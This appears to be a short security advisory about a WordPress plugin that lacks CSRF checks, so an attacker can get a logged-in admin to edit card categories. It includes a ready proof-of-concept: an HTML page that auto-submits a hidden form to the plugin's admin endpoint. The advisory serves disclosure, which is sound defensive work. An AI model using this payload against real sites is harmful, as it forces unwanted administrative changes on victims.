Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions such as editing card categories via CSRF attacks
Make a logged in admin open an HTML document containing:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=es-bcard-category" method="post">
<input type="hidden" name="edit_cat_2" value='CSRFxCSRFxCSRF'>
<input type="hidden" name="edit_category" value="2">
<input type="submit" value="Submit" />
</form>
</body>
```